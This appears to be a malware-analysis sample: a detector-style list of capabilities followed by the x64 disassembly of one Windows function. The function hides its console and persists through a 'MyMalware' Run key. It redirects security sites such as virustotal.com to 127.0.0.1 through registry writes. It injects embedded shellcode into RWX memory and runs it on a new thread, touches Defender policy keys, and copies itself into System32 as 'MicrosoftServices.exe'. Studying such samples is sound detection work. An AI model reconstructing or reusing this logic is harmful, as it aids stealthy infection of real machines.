Function at 0x140001110
Capabilities:
Allocate or change rwx memory
Copy file
Create thread
Delete file
Inject thread
Persist via run registry key
Persist via windows service
Set registry value
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x6a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x690], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
movabs rdx, 0x7ffa4e5f6c40
mov r9d, 1
mov rbx, rax
mov r8d, 4
lea rax, [rsp + 0x50]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea rcx, [rsp + 0x50]
mov eax, 0xffffffff
mov qword [rsp + 0x20], rcx
movabs rdx, 0x7ffa4e5f6d20
mov rcx, rbx
movabs dword [0x7ffa4e5f6c40], eax
mov r9d, 1
mov r8d, 4
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov eax, 0xffffffff
mov rcx, rbx
movabs dword [0x7ffa4e5f6d20], eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rsi
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], rsi
xor r8d, r8d
mov dword [rsp + 0x28], 0x20006
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x20], esi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov r8d, 0x104
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x50]
lea rdx, str.MyMalware
inc eax
mov r9d, 1
mov dword [rsp + 0x28], eax
xor r8d, r8d
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x58]
mov r9d, 2
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SYSTEMCurrentControlSetServicesTcpipParameters
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, esi
lea rdi, str.virustotal.com
nop word [rax + rax]
mov r8, qword [rbx + rdi]
lea rdx, str._s_127.0.0.1_n
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x60]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], sil
jne 0x1400012c2
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0x60]
inc eax
mov r9d, 1
mov dword [rsp + 0x28], eax
xor r8d, r8d
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
add rbx, 8
cmp rbx, 0x30
jb 0x1400012a0
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov rcx, rax
mov r9d, 0x1000
mov r8d, 0x75a
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, 0x75a
mov qword [rsp + 0x20], rsi
mov rdx, rax
lea r8, [0x140005080]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r9d, r9d
mov qword [rsp + 0x28], rsi
mov r8, rbx
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x50]
mov r9d, 0x2001f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREPoliciesMicrosoftDefender
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor r9d, r9d
mov qword [rsp + 0x28], rsi
lea r8, [0x140001070]
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r8d, 0x104
lea rdx, [rsp + 0x270]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x270]
call qword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
lea rdx, str.System32MicrosoftServices.exe
lea rcx, [rsp + 0x480]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
mov r8d, 1
lea rdx, [rsp + 0x480]
lea rcx, [rsp + 0x270]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, [rsp + 0x270]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r9d, r9d
mov edx, 1
xor ecx, ecx
mov r8d, 0x7530
call qword [sym.imp.USER32.dll_SetTimer]
xor eax, eax
mov rcx, qword [rsp + 0x690]
xor rcx, rsp
call fcn.140001490
lea r11, [rsp + 0x6a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret